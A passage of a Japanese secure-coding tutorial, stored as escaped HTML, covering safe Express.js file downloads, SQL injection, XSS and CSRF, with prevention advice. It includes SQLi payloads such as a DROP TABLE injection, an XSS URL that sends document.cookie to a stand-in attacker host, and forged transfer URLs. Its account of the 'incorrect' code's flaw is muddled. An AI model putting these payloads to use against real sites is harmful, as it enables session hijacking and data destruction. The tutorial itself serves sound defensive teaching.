\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u5199\u771f\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u306f\u3001png\u3068jpg\u306e\u307f\u3092\u8a31\u53ef\u3057\u307e\u3059\u3002\uff09<\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u691c\u8a3c\u3059\u308b\u305f\u3081\u306b\u30a6\u30a4\u30eb\u30b9\u30b9\u30ad\u30e3\u30ca\u30fc\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3002\u3053\u308c\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u305f\u6709\u5bb3\u306a\u30d5\u30a1\u30a4\u30eb\u3084\u30a6\u30a4\u30eb\u30b9\u304c\u30af\u30ea\u30a2\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306f\u3001Express.js\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3057\u305fNode.js\u306e\u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> path = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'path'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">static<\/span>(<span class=\"hljs-string\">'public'<\/span>)); \r\n \r\n<span class=\"hljs-comment\">\/\/ \u30d5\u30a1\u30a4\u30eb\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/download\/:filename'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const requestedFile = req.<span class=\"hljs-property\">params<\/span>.<span class=\"hljs-property\">filename<\/span>; <\/span>\r\n  if (!\/^[a-zA-Z0-9._-]+$\/.test(<span class=\"hljs-keyword\">requestedFile<\/span>)) { \r\n    return res.status(400).send('\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u6b63\u3057\u304f\u306a\u3044\u3067\u3059\u3002'); \r\n  }\r\n <span class=\"hljs-keyword\">\r\n  const filePath = path.<span class=\"hljs-title function_\">join<\/span>(__dirname, <span class=\"hljs-string\">'uploads'<\/span>, requestedFile); <\/span>\r\n<span class=\"hljs-keyword\">  if<\/span> (!fs.<span class=\"hljs-title function_\">existsSync<\/span>(filePath)) { \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">404<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728\u3057\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n  } \r\n \r\n<span class=\"hljs-keyword\">  const<\/span> fileStream = fs.<span class=\"hljs-title function_\">createReadStream<\/span>(filePath); \r\n  res.<span class=\"hljs-title function_\">setHeader<\/span>(<span class=\"hljs-string\">'Content-Disposition'<\/span>, <span class=\"hljs-string\">`attachment; filename=<span class=\"hljs-subst\">${requestedFile}<\/span>`<\/span>); \r\n  fileStream.<span class=\"hljs-title function_\">pipe<\/span>(res); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u969b\u3001HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u306b &#8216;Content-Disposition&#8217; \u30d8\u30c3\u30c0\u30fc\u3092\u8a2d\u5b9a\u3059\u308b\u305f\u3081\u306b res.setHeader() \u30e1\u30bd\u30c3\u30c9\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30d5\u30a1\u30a4\u30eb\u306f\u6307\u5b9a\u3055\u308c\u305f\u540d\u524d\u3067\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u3053\u3068\u304c\u6307\u5b9a\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306b\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3059\u308c\u3070\u3001\u30e6\u30fc\u30b6\u30fc\u306f\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u7d76\u5bfe\u30d1\u30b9\u3092\u77e5\u3089\u305a\u306b\u3001\u30d5\u30a1\u30a4\u30eb\u3092\u53d7\u3051\u53d6\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u3067\u3001\u30b7\u30b9\u30c6\u30e0\u69cb\u9020\u306b\u95a2\u3059\u308b\u60c5\u5831\u3092\u5b88\u3063\u3066\u3001\u7d76\u5bfe\u30d1\u30b9\u306b\u57fa\u3065\u304f\u653b\u6483\u3092\u9632\u304e\u307e\u3059\u3002<\/p>\n<p><strong>\u6b63\u3057\u304f\u306a\u3044\u30b3\u30fc\u30c9<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs'<\/span>);\r\n<span class=\"hljs-keyword\">const<\/span> path = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'path'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>;\r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">static<\/span>(<span class=\"hljs-string\">'public'<\/span>));\r\n \r\n<span class=\"hljs-comment\">\/\/ \u30d5\u30a1\u30a4\u30eb\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/download\/:filename'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const requestedFile = req.<span class=\"hljs-property\">params<\/span>.<span class=\"hljs-property\">filename<\/span>; \r\n  const filePath = path.<span class=\"hljs-title function_\">join<\/span>(__dirname, <span class=\"hljs-string\">'uploads'<\/span>, requestedFile); \r\n  if (!fs.<span class=\"hljs-title function_\">existsSync<\/span>(filePath)) { \r\n    return res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">404<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728\u3057\u3066\u3044\u307e\u305b\u3093\u3002'<\/span> }); \r\n  } \r\n \r\n  res.<span class=\"hljs-title function_\">download<\/span>(filePath, requestedFile, <span class=\"hljs-function\"><span class=\"hljs-params\">err<\/span> =&gt;<\/span> { \r\n    if (err) { \r\n<span class=\"hljs-variable language_\">      console<\/span>.<span class=\"hljs-title function_\">error<\/span>(<span class=\"hljs-string\">'\u30d5\u30a1\u30a4\u30eb\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30a8\u30e9\u30fc\uff1a'<\/span>, err); \r\n      return res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: '\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002<span class=\"hljs-string\">'<\/span> }); \r\n    } \r\n  });<\/span>\r\n});\r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>\u3053\u306e\u4f8b\u3067\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u306e\u7d76\u5bfe\u30d1\u30b9\u304c\u8fd4\u3055\u308c\u307e\u3059\u3002<\/p>\n<h2 align=\"left\">\u4e00\u822c\u7684\u306a\u653b\u6483\u30a8\u30e9\u30fc\u3068\u4e88\u9632\u65b9\u6cd5<\/h2>\n<h3>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/h3>\n<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30a8\u30ea\u306e\u8106\u5f31\u6027\u3092\u5229\u7528\u3059\u308b\u6280\u8853\u3067\u3059\u3002\u3068\u3044\u3046\u3068\u3001\u5143\u306e\u30af\u30a8\u30ea\u3092\u6b6a\u3081\u308b\u305f\u3081\u306bSQL\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3057\u3066\u5b9f\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u30c7\u30fc\u30bf\u3092\u62bd\u51fa\u3057\u305f\u308a\u3001\u30a8\u30e9\u30fc\u3092\u751f\u6210\u3057\u305f\u308a\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30c7\u30fc\u30bf\u3092\u7834\u58ca\u3057\u305f\u308a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4f8b\uff1a\u6b21\u306e\u3088\u3046\u306a\u95a2\u6570\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<pre>const getUserByUserName = (userName: string) =&gt; {\r\n\r\n const query = 'SELECT * FROM Users WHERE userName = \u2019 + userName;\r\n\r\n return query.excute();\r\n\r\n}<\/pre>\n<p>\u30e6\u30fc\u30b6\u30fc\u304cuserName = &#8216;abc&#8217; or &#8216;1&#8217;=&#8217;1&#8217;\u3092\u6e21\u3059\u3068\u3001SQL\u30af\u30a8\u30ea\u6587\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<pre>SELECT * FROM Users WHERE userName = 'abc' or '1'='1';<\/pre>\n<p>\u3053\u306eSQL\u30af\u30a8\u30ea\u6587\u3067\u306f\u3001\u5e38\u306b\u6b63\u3057\u304f\u3066\u3001Users\u30c6\u30fc\u30d6\u30eb\u306e\u3059\u3079\u3066\u306e\u60c5\u5831\u3092\u8fd4\u3057\u307e\u3059\u3002<\/p>\n<p>\u4ed6\u306e\u30b1\u30fc\u30b9\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u304cuserName = &#8216;abc&#8217;; DROP TABLE Users;\u3092\u6e21\u3059\u3068\u3001SQL\u30af\u30a8\u30ea\u6587\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<pre>SELECT* FROM Users WHERE userName = 'abc';\r\nDROP TABLE Users;<\/pre>\n<p>\u3053\u306e\u30af\u30a8\u30ea\u3067Users\u30c6\u30fc\u30d6\u30eb\u304c\u524a\u9664\u3055\u308c\u3001\u975e\u5e38\u306b\u5371\u306a\u3044\u3067\u3059\u3002<\/p>\n<p><strong>\u9632\u6b62\u65b9\u6cd5<\/strong><\/p>\n<ol>\n<li>\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u691c\u8a3c: \u6b63\u898f\u8868\u73fe\u3092\u4f7f\u7528\u3057\u3066\u3001\u4e0d\u6b63\u306a\u6587\u5b57\u3084\u6570\u5b57\u4ee5\u5916\u306e\u6587\u5b57\u3001\u3082\u3057\u304f\u306f\u5909\u306a\u6587\u5b57\u3092\u6392\u9664\u3057\u307e\u3059\u3002<\/li>\n<li>SQL\u3092\u751f\u6210\u3059\u308b\u305f\u3081\u306b\u6587\u5b57\u5217\u3092\u9023\u7d50\u3057\u306a\u3044\u3053\u3068: \u6587\u5b57\u5217\u3092\u9023\u7d50\u3059\u308b\u4ee3\u308f\u308a\u306b\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u4e0d\u6b63\u306a\u30c7\u30fc\u30bf\u304c\u5165\u529b\u3055\u308c\u305f\u5834\u5408\u3001SQL\u30a8\u30f3\u30b8\u30f3\u304c\u81ea\u52d5\u7684\u306b\u30a8\u30e9\u30fc\u3092\u5831\u544a\u3059\u308b\u305f\u3081\u3001\u30b3\u30fc\u30c9\u3067\u306e\u78ba\u8a8d\u306f\u4e0d\u8981\u3067\u3059\u3002<\/li>\n<li>\u7d14\u7c8b\u306aSQL\u306e\u8a18\u8ff0\u3092\u5236\u9650\u3057\u3001ORM\uff08\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u95a2\u4fc2\u30de\u30c3\u30d4\u30f3\u30b0\uff09\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068: ORM\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306fSQL\u30af\u30a8\u30ea\u6587\u3092\u81ea\u52d5\u751f\u6210\u3059\u308b\u305f\u3081\u3001\u3088\u308a\u5b89\u5168\u3060\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/li>\n<\/ol>\n<h3>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0 (XSS)<\/h3>\n<p>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0 (XSS)\u306f\u4e00\u822c\u7684\u306a\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306b\u3088\u308b\u653b\u6483\u3059\u308b\u5f62\u3067\u3059\u3002\u30cf\u30c3\u30ab\u30fc\u306f\u30a6\u30a7\u30d6\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u8106\u5f31\u6027\u3092\u5229\u7528\u3057\u3066\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3057\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5074\u3067\u305d\u308c\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u901a\u5e38\u3001XSS\u653b\u6483\u306f\u30a2\u30af\u30bb\u30b9\u306e\u8a8d\u8a3c\u691c\u8a3c\u306e\u56de\u907f\u3068\u30e6\u30fc\u30b6\u30fc\u306e\u306a\u308a\u3059\u307e\u3057\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u653b\u6483\u306e\u4e3b\u306a\u76ee\u7684\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u8b58\u5225\u30c7\u30fc\u30bf\uff08\u30af\u30c3\u30ad\u30fc\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u30c8\u30fc\u30af\u30f3\u306a\u3069\uff09\u3092\u76d7\u307f\u51fa\u3059\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>XSS\u653b\u6483\u306b\u306f\u4e3b\u306b3\u3064\u306e\u30bf\u30a4\u30d7\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u53cd\u5c04\u578bXSS\uff08Reflected XSS\uff09\n<ul>\n<li>\u3053\u308c\u306fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u304b\u3089\u306e\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u30b3\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u305f\u653b\u6483\u3059\u308b\u5f62\u3067\u3059\u3002\u30cf\u30c3\u30ab\u30fc\u306f\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u542b\u3080URL\u3092\u5171\u6709\u3059\u308b\u3053\u3068\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30c7\u30fc\u30bf\u3092\u76d7\u307f\u51fa\u3057\u3001\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u4e0a\u3067\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30a2\u30af\u30bb\u30b9\u3084\u64cd\u4f5c\u3092\u4e57\u3063\u53d6\u308a\u307e\u3059\u3002<\/li>\n<li>\u4f8b\uff1a\n<ul>\n<li>\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u6642\u3001\u30e6\u30fc\u30b6\u30fc\u306f\u8a8d\u8b58\u305b\u305a\u306b\u3001\u4ee5\u4e0b\u306e\u60aa\u610f\u306e\u3042\u308b\u30ea\u30f3\u30af\u306e\u753b\u50cf\u307e\u305f\u306f\u5e83\u544a\u3092\u30af\u30ea\u30c3\u30af\u3057\u307e\u3059\u3002\n<pre>http:\/\/user.com\/name=var+i=new+Image;+i.src=\u201dhttp:\/\/abc-hacker.com\/\u201d%2Bdocument.cookie;<\/pre>\n<\/li>\n<li>\u3053\u306e\u6642\u3001\u30cf\u30c3\u30ab\u30fc\u306f\u81ea\u5206\u306e\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u308b\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u78ba\u8a8d\u3059\u308b\u3060\u3051\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30af\u30c3\u30ad\u30fc\u3092\u53d6\u5f97\u3057\u3001\u305d\u308c\u3092\u4f7f\u7528\u3057\u3066\u30e6\u30fc\u30b6\u30fc\u306e\u30ed\u30b0\u30a4\u30f3\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u4e57\u3063\u53d6\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>\u3053\u306eXSS\u306e\u7279\u5fb4\u306f\u3001\u30cf\u30c3\u30ab\u30fc\u304c\u30e6\u30fc\u30b6\u30fc\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u542b\u3080\u30ea\u30f3\u30af\u3092\u9001\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u305d\u306e\u30ea\u30f3\u30af\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3088\u3046\u306b\u3060\u307e\u3059\u5fc5\u8981\u304c\u3042\u308b\u70b9\u3067\u3059\u3002\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30ea\u30f3\u30af\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u77ac\u9593\u306b\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>\u683c\u7d0d\u578bXSS\uff08Stored XSS\uff09\n<ul>\n<li>\u3053\u308c\u306f\u3001\u30cf\u30c3\u30ab\u30fc\u304c\u5165\u529b\u3001\u30c6\u30ad\u30b9\u30c8\u30a8\u30ea\u30a2\u3001\u30d5\u30a9\u30fc\u30e0\u306a\u3069\u306e\u5165\u529b\u30c7\u30fc\u30bf\u3092\u5341\u5206\u306b\u691c\u8a3c\u305b\u305a\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3059\u308b\u653b\u6483\u3059\u308b\u5f62\u3067\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u304c\u30a2\u30af\u30bb\u30b9\u3057\u3066\u4fdd\u5b58\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306b\u95a2\u9023\u3059\u308b\u64cd\u4f5c\u3092\u884c\u3046\u3068\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u30d6\u30e9\u30a6\u30b6\u3067\u5373\u5ea7\u306b\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li>DOM-based XSS\n<ul>\n<li>\u3053\u308c\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30db\u30fc\u30eb\u304c\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u306e\u30b3\u30fc\u30c9\u3067\u306f\u306a\u304f\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30b5\u30a4\u30c9\u306e\u30b3\u30fc\u30c9\u306b\u5b58\u5728\u3059\u308b\u653b\u6483\u3059\u308b\u5f62\u3067\u3059\u3002\u3053\u306e\u5f62\u306f\u3001\u6750\u6599\u306eHTML\u3092\u5909\u66f4\u3059\u308b\u3053\u3068\u3001\u3064\u307e\u308aDOM\u306e\u69cb\u9020\u3092\u5909\u66f4\u3059\u308b\u3053\u3068\u306b\u57fa\u3065\u3044\u3066XSS\u3092\u60aa\u7528\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p><strong>\u9632\u6b62\u65b9\u6cd5<\/strong><\/p>\n<ol>\n<li>\u30c7\u30fc\u30bf\u691c\u8a3c\uff08\u5165\u529b\u306e\u78ba\u8a8d\uff09\uff1a\u30e6\u30fc\u30b6\u30fc\u304c\u63d0\u4f9b\u3057\u305f\u5165\u529b\u30c7\u30fc\u30bf\u304c\u6b63\u78ba\u3067\u3042\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002<\/li>\n<li>\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\uff08\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\uff09\uff1a\u3053\u306e\u65b9\u6cd5\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u5165\u529b\u30c7\u30fc\u30bf\u304b\u3089\u5371\u967a\u306a\u30ad\u30fc\u30ef\u30fc\u30c9\u3092\u898b\u3064\u3051\u51fa\u3057\u3066\u3001\u305d\u308c\u3089\u3092\u30bf\u30a4\u30e0\u30ea\u30fc\u306b\u7f6e\u63db\u307e\u305f\u306f\u524a\u9664\u3059\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002<\/li>\n<li>\u30a8\u30b9\u30b1\u30fc\u30d7\uff1a\u3053\u308c\u306fXSS\u3092\u9632\u3050\u306e\u306b\u304b\u306a\u308a\u52b9\u679c\u7684\u3067\u3001\u6587\u5b57\u3092\u30a8\u30b9\u30b1\u30fc\u30d7\u30e9\u30a4\u30d6\u30e9\u30ea\u304c\u4f7f\u7528\u3067\u304d\u308b\u7279\u6b8a\u306a\u30b3\u30fc\u30c9\u306b\u5909\u66f4\u3059\u308b\u65b9\u6cd5\u3067\u3059\u3002<\/li>\n<\/ol>\n<h3><b>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30fb\u30ea\u30af\u30a8\u30b9\u30c8\u30fb\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08CSRF\uff09<\/b><\/h3>\n<p>CSRF\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u308b\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u3067\u671b\u307e\u3057\u304f\u306a\u3044\u64cd\u4f5c\u3092\u5b9f\u884c\u3055\u305b\u308b\u653b\u6483\u3059\u308b\u5f62\u3067\u3059\u3002\u30bd\u30fc\u30b7\u30e3\u30eb\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u306e\u30d8\u30eb\u30d7\u3067\uff08\u96fb\u5b50\u30e1\u30fc\u30eb\u3084\u30c1\u30e3\u30c3\u30c8\u3092\u4ecb\u3057\u305f\u30ea\u30f3\u30af\u306e\u9001\u4fe1\u306a\u3069\u3001\u975e\u30c6\u30af\u30cb\u30ab\u30eb\u306e\u653b\u6483\u3068\u3082\u547c\u3070\u308c\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\uff09\u3001\u653b\u6483\u8005\u306f\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u306e\u30e6\u30fc\u30b6\u30fc\u3092\u6b3a\u304d\u3001\u653b\u6483\u8005\u304c\u9078\u629e\u3057\u305f\u64cd\u4f5c\u3092\u5b9f\u884c\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4f8b\uff1a\u30e6\u30fc\u30b6\u30fc1\u304c\u9280\u884c\u306b\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3001\u30e6\u30fc\u30b6\u30fc2\u306b1000\u30c9\u30eb\u3092\u9001\u91d1\u3057\u305f\u304c\u3063\u305f\u3093\u3067\u3059\u304c\u3001\u30e6\u30fc\u30b6\u30fc3\uff08\u653b\u6483\u8005\uff09\u304c\u30e6\u30fc\u30b6\u30fc1\u306b\u81ea\u5206\u306b\u5bfe\u3057\u3066\u9001\u91d1\u3055\u305b\u305f\u3044\u3067\u3059\u3002\u3053\u306e\u5834\u5408\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u3082\u3057\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304cGET\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u4f7f\u7528\u3057\u3066\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6e21\u3057\u3001\u9001\u91d1\u306e\u64cd\u4f5c\u3092\u5b9f\u884c\u3059\u308b\u3088\u3046\u306b\u8a2d\u8a08\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3001\u6b21\u306e\u3088\u3046\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<pre> http:\/\/bank.com\/transfer?account=user2&amp;amount=1000\r\n<\/pre>\n<p>\u3055\u3066\u3001\u30e6\u30fc\u30b6\u30fc3\u306f\u3053\u306e\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3092\u6c7a\u3081\u3066\u3001\u30e6\u30fc\u30b6\u30fc1\u3092\u72a0\u7272\u306b\u3057\u307e\u3059\u3002\u6700\u521d\u306b\u3001\u30e6\u30fc\u30b6\u30fc3\u306f\u30e6\u30fc\u30b6\u30fc1\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u304b\u3089\u81ea\u5206\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306b20\u4e07\u30c9\u30eb\u3092\u9001\u91d1\u3059\u308b\u3088\u3046\u306b\u4ee5\u4e0b\u306e\u60aa\u610f\u306e\u3042\u308bURL\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc3\u306f\u5143\u306e\u30b3\u30de\u30f3\u30c9\u306eURL\u3092\u53d6\u5f97\u3057\u3001\u53d7\u76ca\u8005\u306e\u540d\u524d\u3092\u81ea\u5206\u306b\u5909\u66f4\u3057\u3001\u540c\u6642\u306b\u9001\u91d1\u984d\u3092\u8457\u3057\u304f\u5897\u3084\u3057\u307e\u3059\u3002<\/p>\n<pre>http:\/\/bank.com\/transfer?account=user3&amp;amount=200000<\/pre>\n<p>\u305d\u306e\u5f8c\u3001\u30e6\u30fc\u30b6\u30fc3\u306f\u3001\u88ab\u5bb3\u8005\u306bHTML\u5185\u5bb9\u3092\u542b\u3080\u671b\u307e\u3057\u304f\u306a\u3044\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3057\u305f\u308a\u3001\u88ab\u5bb3\u8005\u304c\u30aa\u30f3\u30e9\u30a4\u30f3\u30d0\u30f3\u30ad\u30f3\u30b0\u306e\u53d6\u5f15\u3092\u884c\u3063\u3066\u3044\u308b\u6700\u4e2d\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u53ef\u80fd\